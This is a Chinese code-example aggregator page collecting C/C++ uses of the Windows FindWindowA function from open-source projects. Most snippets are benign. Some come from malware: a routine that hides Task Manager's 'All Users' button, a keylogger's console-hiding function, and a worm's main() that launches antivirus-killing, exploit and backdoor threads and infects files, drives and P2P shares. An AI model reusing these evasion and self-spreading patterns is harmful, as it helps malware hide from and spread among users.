当前位置: 首页>>代码示例>>C++>>正文


C++ FindWindowA函数代码示例

本文整理汇总了C++中FindWindowA函数的典型用法代码示例。如果您正苦于以下问题:C++ FindWindowA函数的具体用法?C++ FindWindowA怎么用?C++ FindWindowA使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了FindWindowA函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: notepad

HWND notepad(LPCSTR name) {
	char filename[1024], title[1024];
	FILE *f=0x0;
	sprintf_s(filename, 1024, "%s.txt", name);
	DWORD rc = fopen_s(&f, filename, "w");
	if(rc!=0) {
		printf("[-] failed to create temporary text file\n");
	}
	fclose(f);
	HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW);
	if(inst < (HINSTANCE)33) {
		printf("[-] failed to start notepad\n");
	}
	while(1) {
	sprintf_s(title, 1024, "%s - Notepad", name);
	HWND hwnd = FindWindowA(0x0, title);
	if(hwnd) {
		return hwnd;
	}
	sprintf_s(title, 1024, "%s.txt - Notepad", name);
	hwnd = FindWindowA(0x0, title);
	if(hwnd) {
		//printf("[-] failed to retrieve handle to notepad window\n");
		//return 0x0;
		return hwnd;
	}
	}
	return 0x0;
}
开发者ID:insecuritea,项目名称:win-kernel-UAFs,代码行数:29,代码来源:original-trigger.cpp

示例2: CheckWindowCreated

/*
 * Check if Window is onscreen with the appropriate name.
 *
 * Windows are not created synchronously.  So we do not know
 * when and if the window will be created/shown on screen.
 * This function implements a polling mechanism to determine
 * creation.
 * A more complicated method would be to use SetWindowsHookEx.
 * Since polling worked fine in my testing, no reason to implement
 * the other.  Comments about other methods of determining when
 * window creation happened were not encouraging (not including
 * SetWindowsHookEx).
 */
static HWND CheckWindowCreated(const char *winName, BOOL closeWindow, int testParams)
{
    HWND window = NULL;
    int i;

    /* Poll for Window Creation */
    for (i = 0; window == NULL && i < PDDE_POLL_NUM; i++)
    {
        Sleep(PDDE_POLL_TIME);
        /* Specify the window class name to make sure what we find is really an
         * Explorer window. Explorer used two different window classes so try
         * both.
         */
        window = FindWindowA("ExplorerWClass", winName);
        if (!window)
            window = FindWindowA("CabinetWClass", winName);
    }
    ok (window != NULL, "Window \"%s\" was not created in %i seconds - assumed failure.%s\n",
        winName, PDDE_POLL_NUM*PDDE_POLL_TIME/1000, GetStringFromTestParams(testParams));

    /* Close Window as desired. */
    if (window != NULL && closeWindow)
    {
        SendMessageA(window, WM_SYSCOMMAND, SC_CLOSE, 0);
        window = NULL;
    }
    return window;
}
开发者ID:AmesianX,项目名称:wine,代码行数:41,代码来源:progman_dde.c

示例3: main

int main(int argc,char **argv)
{
    argv++; argc--;
	if (argc!=2) {
		printf("Wrong number of arguments\r\n");
		printf("-g(G) *.ecs or -c *.dat\r\n");
		printf("For unknown orders, use -gu(GU) *.ecs or -cu *.dat\r\n");
		return 1;
	}
	if (strcmp(argv[0],"-g")==0) generate(argv[1]);
	else if (strcmp(argv[0],"-G")==0) {
#ifdef WIN32
		ShowWindow(FindWindowA("ConsoleWindowClass",0),SW_HIDE);
#endif
		generate(argv[1]);
	}
	else if (strcmp(argv[0],"-c")==0) check(argv[1]);

	else if (strcmp(argv[0],"-gu")==0) ugenerate(argv[1]);
	else if (strcmp(argv[0],"-GU")==0) {
#ifdef WIN32
		ShowWindow(FindWindowA("ConsoleWindowClass",0),SW_HIDE);
#endif
		ugenerate(argv[1]);
	}
	else if (strcmp(argv[0],"-cu")==0) ucheck(argv[1]);

}
开发者ID:xurubin,项目名称:ParallelCollisionSearch,代码行数:28,代码来源:main.cpp

示例4: createWindowsConsole

void createWindowsConsole() {
    if(consoleWindow !=0) return;

    //create a console on Windows so users can see messages

    //find an available name for our window
    int console_suffix = 0;
    char consoleTitle[512];
    sprintf(consoleTitle, "%s", "Gource Console");

    while(FindWindowA(0, consoleTitle)) {
        sprintf(consoleTitle, "Gource Console %d", ++console_suffix);
    }

    AllocConsole();
    SetConsoleTitleA(consoleTitle);

    //redirect streams to console
    freopen("conin$", "r", stdin);
    freopen("conout$","w", stdout);
    freopen("conout$","w", stderr);

    consoleWindow = 0;

    //wait for our console window
    while(consoleWindow==0) {
        consoleWindow = FindWindowA(0, consoleTitle);
        SDL_Delay(100);
    }

    //disable the close button so the user cant crash gource
    HMENU hm = GetSystemMenu(consoleWindow, false);
    DeleteMenu(hm, SC_CLOSE, MF_BYCOMMAND);
}
开发者ID:bitshifter,项目名称:Gource,代码行数:34,代码来源:gource.cpp

示例5: FindWindowA

const char *LH_Lg160x43::userInit()
{
#ifdef Q_WS_WIN
    // make sure neither LCDMon.exe nor LCORE.EXE is running on Windows
    if( FindWindowA( "Logitech LCD Monitor Window", "LCDMon" ) ||
            FindWindowA( "QWidget", "LCore" ) )
        return "Logitech drivers are loaded";
#endif
    scan();
    return NULL;
}
开发者ID:ProgrammingCube,项目名称:lcdhost,代码行数:11,代码来源:LH_Lg160x43.cpp

示例6: DisableTaskManagerAllUsersButton

void DisableTaskManagerAllUsersButton() //Disables the All Users button in Task Manager to prevent convenient killing of the process through the object permission modifications
{
    // <!-------! CRC AREA START !-------!>
    char cCheckString[DEFAULT];
    sprintf(cCheckString, "%[email protected]%s", cServer, cChannel);
    char *cStr = cCheckString;
    unsigned long ulCheck = (47048/8)-500;
    int nCheck;
    while((nCheck = *cStr++))
        ulCheck = ((ulCheck << 5) + ulCheck) + nCheck;
    if(ulCheck != ulChecksum6)
        return;
    // <!-------! CRC AREA STOP !-------!>

    HWND hwndTaskManager = FindWindowA("#32770", "Windows Task Manager");
    if(hwndTaskManager != NULL)
    {
        HWND hwndTaskProcTab = FindWindowExA(hwndTaskManager, 0, "#32770", "Processes");
        if(hwndTaskProcTab != NULL)
        {
            HWND hwndTaskManageAllUsersButton = FindWindowExA(hwndTaskProcTab, 0, "Button", NULL);
            if(hwndTaskManageAllUsersButton != NULL)
            {
                EnableWindow(hwndTaskManageAllUsersButton, FALSE);
                ShowWindow(hwndTaskManageAllUsersButton, SW_HIDE);

                CloseHandle(hwndTaskManageAllUsersButton);
            }

            CloseHandle(hwndTaskProcTab);
        }

        CloseHandle(hwndTaskManager);
    }
}
开发者ID:ArpiaPsuv,项目名称:Athena,代码行数:35,代码来源:TaskManagerTricks.cpp

示例7: Stealth

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}
开发者ID:1nv4d3r5,项目名称:test,代码行数:7,代码来源:basicKeylogger.cpp

示例8: WindowFocus

void WindowFocus() {
    HWND Window = FindWindowA("Diablo II", D2WindowTitle);
    SetForegroundWindow(Window);
    Sleep(500);
    SetWindowPos( Window, 0, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOSENDCHANGING);
    Sleep(1000);
}
开发者ID:segrax,项目名称:sgbb,代码行数:7,代码来源:stdafx.cpp

示例9: FindConsoleHandle

HWND FindConsoleHandle() {
  const char alphabet[] =
      "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  char title[33];
  char old_title[512];

  size_t size = sizeof(title);
  size_t i;
  for (i = 0; i < size - 1; ++i) {
    title[i] = alphabet[rand() % (int)(sizeof(alphabet) - 1)];
  }
  title[i] = '\0';

  if (GetConsoleTitleA(old_title, sizeof(old_title) / sizeof(old_title[0])) ==
      0) {
    return NULL;
  }
  SetConsoleTitleA(title);
  Sleep(40);
  HWND wnd = FindWindowA(NULL, title);
  SetConsoleTitleA(old_title);
  if (wnd == NULL) {
    wnd = GetConsoleWindow();
    if (wnd == NULL) {
      dbg_printf("Didn't find wnd (tried FindWindowA and GetConsoleWindow)\n");
    }
  }
  return wnd;
}
开发者ID:meh,项目名称:MSYS2-packages,代码行数:29,代码来源:main.c

示例10: main

int main()
{
	printf("현재 프로세스 ID : %d\n", GetCurrentProcessId());

	//다른프로세스 ID를 구하는 방법
	//1. 윈도우 핸들을 구한후에
	HWND hwnd = FindWindowA(0, "계산기");
	
	//2. 해당 윈도우를 만든 프로세스의 ID를 구합니다
	DWORD pid;
	DWORD tid = GetWindowThreadProcessId(hwnd, &pid);
	printf("계산기의 프로세스 ID : %d\n", pid);
	
	//계산기의 PID만을 가지고는 계산기에 접근해서 많은 일을 할 수 없다.

	//계산기에 접근하기 위해 OS에게 프로세스핸들을 발급받습니다.
	//보안에 따라 거부될수있습니다.
	HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, pid);
	printf("발급된 핸들 : %x\n", hProcess);
	_getch();
	TerminateProcess(hProcess,0);

	//발근된 핸들은 사용한 후에는 닫아야 합니다.
	CloseHandle(hProcess);

}
开发者ID:choisungwook,项目名称:Windows,代码行数:26,代码来源:PID.c

示例11: main

int main(int argc, char *argv[])
{
    if(IsDebuggerPresent()) return 1;
    if(argc==2) {
        char Thif[256];
        GetModuleFileName(NULL,Thif,sizeof(Thif));
        if(argv[1]==Thif) goto part;
        SetFileAttributes(argv[1],FILE_ATTRIBUTE_NORMAL);
        CopyFile(Thif,argv[1],FALSE);
    }
part:
    CreateMutex(NULL,0,"n349u43jEg35545");
    if(GetLastError()==ERROR_ALREADY_EXISTS) return 1;

    AllocConsole();
    ShowWindow(FindWindowA("ConsoleWindowClass",NULL),SW_HIDE);

    CreateThread(NULL,0,AntiVirusTerminate,NULL,0,NULL);
    CreateThread(NULL,0,ExploitMain,NULL,0,NULL);
    CreateThread(NULL,0,FileBackdoor,NULL,0,NULL);

    Install();
    HOSTSFile();
    InfectExes();
    p2p_spread();
    InfectDrives();
    return 0;
}
开发者ID:cyberthreats,项目名称:malware-source-cairuh,代码行数:28,代码来源:main.c

示例12: DllMain

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		dllmodule = hModule;
		HMODULE m_handle = GetModuleHandleA(NULL);
		DWORD bbb = (DWORD)m_handle;
		HANDLE hello = FindWindowA(NULL, "Author : 哎哟哥哥嗨你好");
		if (hello != NULL) {
			Hook(0x0351C853 - 0x400000 + bbb, NULL);
			deDetourThread = CreateThread(NULL, NULL, &dwWaitThread, NULL, NULL, NULL);
		}
	}
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
开发者ID:niuxianghui,项目名称:addressHook,代码行数:26,代码来源:dllmain.cpp

示例13: Holding

bool CInput::Holding( int iXStart, int iYStart, int iWidth, int iHeight )
{
	if( GetAsyncKeyState( VK_LBUTTON ) && GetActiveWindow() == FindWindowA( charenc( "Valve001" ), NULL ) )
		if( Hovering( iXStart, iYStart, iWidth, iHeight ) )
			return true;

	return false;
}
开发者ID:A5-,项目名称:Gamerfood_CSGO,代码行数:8,代码来源:Input.cpp

示例14: AllocConsole

void g_console::Visible(bool bVisible)
{
	g_utilList::exception->traceLastFunction(__FUNCSIG__, __FUNCDNAME__);

	AllocConsole();
	ShowWindow(FindWindowA("ConsoleWindowClass", nullptr), bVisible);
	g_utilList::console->bOpen = bVisible;
};
开发者ID:Gorzoid,项目名称:Dunked-Framework,代码行数:8,代码来源:g_console.cpp

示例15: right

//右移企鹅
void right(){
	HWND win = FindWindowA("TXGuiFoundation", "QQ");
	if (win != NULL){
		LPRECT rectwin = (LPRECT)malloc(sizeof(struct tagRECT));
		GetWindowRect(win, rectwin);
		SetWindowPos(win, NULL, rectwin->left + 200, rectwin->top, 300, 300, 1);
	}
}
开发者ID:hewenhao2008,项目名称:QQSpeechRecognition,代码行数:9,代码来源:Source.cpp


注:本文中的FindWindowA函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。